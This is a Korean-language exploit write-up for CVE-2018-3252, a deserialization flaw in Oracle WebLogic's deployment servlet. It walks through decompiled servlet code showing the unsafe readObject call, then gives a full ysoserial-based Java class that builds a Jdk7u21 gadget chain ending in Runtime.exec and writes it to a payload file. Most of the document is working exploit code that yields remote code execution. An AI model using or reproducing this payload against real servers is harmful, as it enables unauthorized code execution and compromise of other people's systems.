CVE-2018-3252

1. weblogic 디컴파일

 private void handleDataTransferRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, AuthenticatedSubject paramAuthenticatedSubject)
            throws IOException {
        if (isDebugEnabled()) {
            debug("Received DataTransferRequest : ");
        }
        String str1 = readOrConstructPeerVersion(paramHttpServletRequest);
        if (isDebugEnabled()) {
            debug("Peer Version : " + str1);
        }
        String str2 = paramHttpServletRequest.getHeader("deployment_request_id");
        long l = str2 != null ? Long.parseLong(str2) : -1L;

        String str3 = mimeDecode(paramHttpServletRequest.getHeader("serverName"));

        DeploymentObjectInputStream localDeploymentObjectInputStream = null;//新建一个DeploymentObjectInputStream对象
        try {
            localDeploymentObjectInputStream = new DeploymentObjectInputStream(paramHttpServletRequest.getInputStream(), str1);
            DataTransferRequest localDataTransferRequest = (DataTransferRequest) localDeploymentObjectInputStream.readObject();//读取post过来的对象进行反序列化

            localObject1 = DataHandlerManager.getInstance().getHttpDataTransferHandler().getDataAsStream(localDataTransferRequest);

            localObject2 = localDataTransferRequest.getLockPath();
            FileLock localFileLock = null;
            try {
                if ((localObject2 != null) && (((String) localObject2).length() > 0)) {
                    localFileLock = lockFile((String) localObject2);
                }
                MultipartResponse localMultipartResponse = new MultipartResponse(paramHttpServletResponse, (MultiDataStream) localObject1);
                localMultipartResponse.write();
            } finally {
                unlockFile(localFileLock);
            }
        } catch (Throwable localThrowable) {
            Object localObject1 = StackTraceUtils.throwable2StackTrace(localThrowable);
            if (isDebugEnabled()) {
                debug("DeploymentServiceServlet error - " + localThrowable.getMessage() + " " + (String) localObject1);
            }
            Object localObject2 = DeploymentServiceLogger.logExceptionInServletRequestForDatatransferMsgLoggable(l, str3, (String) localObject1);

            ((Loggable) localObject2).log();

            localObject2 = DeploymentServiceLogger.logExceptionInServletRequestForDatatransferMsgLoggable(l, str3, localThrowable.getMessage());

            sendError(paramHttpServletResponse, 500, ((Loggable) localObject2).getMessage());
            return;
        } finally {
            if (localDeploymentObjectInputStream != null) {
                localDeploymentObjectInputStream.close();
            }
        }
    }

2. DeploymentObjectInputStream은 WLObjectInputStream을 상속하며, 이에 해당하는 WLObjectOutputStream이 있어야 합니다.

package weblogic.deploy.common;

import java.io.IOException;
import java.io.InputStream;
import weblogic.common.internal.PeerInfo;
import weblogic.common.internal.PeerInfoable;
import weblogic.common.internal.WLObjectInputStream;
import weblogic.rmi.utils.io.RemoteObjectReplacer;

public class DeploymentObjectInputStream
  extends WLObjectInputStream
  implements PeerInfoable
{
  final PeerInfo peerInfo;
  
  public DeploymentObjectInputStream(InputStream paramInputStream, String paramString)
    throws IOException
  {
    super(paramInputStream);
    this.peerInfo = ((paramString == null) || (paramString.length() == 0) ? null : PeerInfo.getPeerInfo(paramString));
    if (Debug.isServiceTransportDebugEnabled()) {
      Debug.serviceTransportDebug("PeerInfo on '" + this + "' is: " + this.peerInfo);
    }
    setReplacer(RemoteObjectReplacer.getReplacer());
  }
  
  public PeerInfo getPeerInfo()
  {
    return this.peerInfo;
  }
}

3. ysoserial을 사용하여 payload 생성

package test;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;

import weblogic.common.internal.WLObjectOutputStream;
import weblogic.deploy.internal.targetserver.datamanagement.DataTransferRequestImpl;
import weblogic.deploy.service.DataTransferRequest;
import weblogic.deploy.service.internal.adminserver.AdminRequestImpl;
import weblogic.deploy.service.internal.transport.DeploymentServiceMessage;
import weblogic.messaging.util.List;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class jdkpayload implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        return set;
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
    }


    public static void main(final String[] args) throws Exception {
//        PayloadRunner.run(Jdk7u21.class, "calc");

        Thread.currentThread().setContextClassLoader(jdkpayload.class.getClassLoader());
//      PayloadRunner.run(JRMPClient.class, args);
      ObjectPayload payload = (ObjectPayload)jdkpayload.class.newInstance();
      Object objBefore = payload.getObject("notepad");

      WLObjectOutputStream Obj = new WLObjectOutputStream(new FileOutputStream("xxoo1.exe"));
      Obj.writeObject(objBefore);

      System.out.println("1232");

    }